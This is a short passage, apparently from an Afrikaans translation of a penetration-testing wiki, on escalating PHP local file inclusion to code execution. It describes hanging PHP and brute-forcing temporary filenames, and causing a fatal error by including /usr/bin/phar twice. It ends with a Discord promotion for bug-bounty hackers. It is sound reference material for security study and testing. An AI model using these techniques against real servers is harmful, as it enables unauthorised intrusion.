Via eternal waiting + bruteforce

As jy die LFI kan misbruik om tydelike lêers te laai en die bediener die PHP-uitvoering hang, kan jy daarna filenames ure lank brute force om die tydelike lêer te vind:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

To Fatal Error

As jy enige van die lêers insluit /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).

Ek weet nie hoe dit nuttig is nie, maar dit kan wees.
Selfs as jy 'n PHP Fatale Fout veroorsaak, word tydelike lêers wat geüpload is deur PHP verwyder.

Verwysings

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hacking Insights
Betrokkenheid by inhoud wat die opwinding en uitdagings van hackering ondersoek

Real-Time Hack News
Bly op hoogte van die vinnige hackeringwêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!